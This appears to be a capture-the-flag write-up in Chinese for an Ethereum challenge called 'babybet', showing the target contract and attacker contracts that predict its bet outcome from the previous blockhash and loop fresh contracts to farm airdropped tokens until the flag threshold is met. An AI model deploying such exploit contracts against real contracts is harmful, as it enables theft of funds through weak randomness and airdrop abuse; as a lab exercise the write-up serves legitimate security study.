babybet

pragma solidity ^0.4.23;

contract babybet {
    mapping(address => uint) public balance;
    mapping(address => uint) public status;
    address owner;

    //Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
    //Gmail is ok. 163 and qq may have some problems.
    event sendflag(string md5ofteamtoken,string b64email); 

    constructor()public{
        owner = msg.sender;
        balance[msg.sender]=1000000;
    }

    //pay for flag
    function payforflag(string md5ofteamtoken,string b64email) public{
        require(balance[msg.sender] >= 1000000);
        if (msg.sender!=owner){
        balance[msg.sender]=0;}
        owner.transfer(address(this).balance);
        emit sendflag(md5ofteamtoken,b64email);
    }

    modifier onlyOwner(){
        require(msg.sender == owner);
        _;
    }

逆向合約，得到關鍵函數：profit、bet、func_048F（轉賬函數）。 發現此問題相比上一道題利用方法更為簡單。首先調用profit函數獲得空投10 token。 之后進入bet函數，而bet函數有如下判斷：首先余額要>=10 、status要小于2、傳入的參數要與隨機數相同，之后便會給與此賬戶1000代幣，并將status改為2 。 于是我們的函數調用順序為：創建新合約賬戶A，調用profit、預測隨機數調用guess、調用轉賬函數匯總token。 合約要求代幣要>1000000，所以上述薅羊毛過程需要重復1000次，并匯總到一個賬戶中。 具體合約如下：

contract midContract {
    babybet target = babybet(0x5d1BeEFD4dE611caFf204e1A318039324575599A);

    function process() public {
        target.profit();
        bytes32 guess = block.blockhash(block.number - 0x01);
        uint guess1 = uint(guess) % 0x03;
        target.bet(guess1);

    }
        function transfer(address a, uint b) public{
        // target.func_048F(a,b);
        bytes4 method = 0xf0d25268;
        target.call(method,a,b);
        selfdestruct();
    }
}

contract hack {
    // babybet target; = babybet(0x5d1BeEFD4dE611caFf204e1A318039324575599A);


function ffff() public {
     for(int i=0;i<=20;i++){
            midContract mid = new midContract();
            mid.process();
            mid.transfer("0x9b9a30b7df47b9dbe0ec7d4bd52aaae4465f2ebe",1000);
        }
    }
}

每次生成新合約，循環20次，所以此合約執行50次即可。記得將gas limit調大。 預測十分簡單，即使用一下語句即可

調用后拿到flag